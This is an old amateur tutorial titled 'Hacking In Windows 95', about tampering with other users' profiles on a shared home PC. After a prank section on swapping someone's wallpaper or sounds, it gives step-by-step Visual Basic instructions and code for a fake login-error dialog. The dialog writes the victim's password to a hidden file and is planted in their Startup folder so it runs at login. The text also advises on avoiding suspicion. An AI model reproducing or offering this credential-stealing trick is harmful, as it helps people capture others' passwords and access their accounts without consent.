Hacking In Windows 95 v1.0

Author

November 1997 By: Phluck

1.0 Introduction

This document is about accessing and/or changing settings under someone else’s profile in Windows 95. I have found that despite the fact that the .pwl files (password files) in Win95 are well encoded and (to my knowledge) impossible to decode, Win95 doesn’t have much security stopping anyone from changing things about the other user’s settings. So pretty much anything documented in this file is easy to do, I just thought I’s share it with anyone who’s just beggining to hack, so they can get some ideas about how hacking works etc… NOTE This stuff will probably only work on a home computer, computers at school, work etc. use better security programs to prevent you from doing this.

1.1 The User Profiles

Ok, as you probably already know the user’s profiles are kept under c:\WINDOWS\PROFILES\USERNAME\ where USERNAME is the name or login name of the user. (In case you are wondering the .pwl files are kept in the c:\windows directory, not in the user’s profile directory).

1.2 Changing Backgrounds/Sounds

Ok, so you want to change someones background to something as a joke. Well this is really easy, it shouldn’t even be considered hacking. Anyway all you need to know is the name of the .bmp file the have as their background, or the .wav file they have as their sound. If you don’t know it, search the harddrive .wav or .bmp files and look through them, you should find it eventually. Once you have found the file(s) rename it(them) to something else(skip this step if you don’t mind deleting the file), then rename the .bmp you want their background to look like to what their old background was called and there you are, easy.

1.3 Finding Passwords

Ok, this is a little harder, but it’s still easy, and it doesn’t involve the .pwl file. The only real difficulty is that you need to have visual basic and a little Visual Basic knowledge (like I said, easy). What you need to do is make a little program that says something like “An error occurred while logging in, Please re-enter your password” and then it saves the password to a file and closes the program when you click a button. Compile the program and hide it in some directory where no one will look. Now, open up Windows Explorer (I like to use the old File Manager, but it just won’t work in this situation) and go to: C:\Windows\Profiles\Joey\StartMenu\Startup\ and drag the file from the other directory to there. It will automatically make a link to it. So now, when they log in, this program will load. Now the crappy part is that this looks a little suspicious cause the program pops up after everything has loaded. But it still seems to work whenever I’ve used it. Just don’t try it on a computer expert I guess. If you have VB but you don’t have the knowledge to make that program, look in the next section.

1.4 Making That VB Program

Ok, I’ll make really easy for you, maybe too easy: 1. Open Up Visual Basic (Duh) 2. Start a new program (Just a regual .exe) 3. Make the form a little smaller 4. Change the caption of the form to “Error” 5. Put in a Label 6. Change the Caption of the label to “An Error occured while logging in, Please re-enter your Password” or whatever you want it to say. 8. Make a text box change the text to nothing, and change the Password character to * 9. Make a Command Button and change the caption to “Ok” 10. On the menu Bar go to “view” then “code” 11. Type “Dim pass” and press enter 12. Close the Code Window 13. Double Click the Ok button 14. Enter the following code: pass = text1.text Open “c:\physics.txt” for output as #1 Write #1, pass end 15. You can change the “c:\physics.txt” to whatever you want, so you can save the password wherever you want. 16. Compile it! Your finished.

1.5 More Information

If you want to add on to this file, go ahead, just change it to v1.1 and put your name next to mine on top.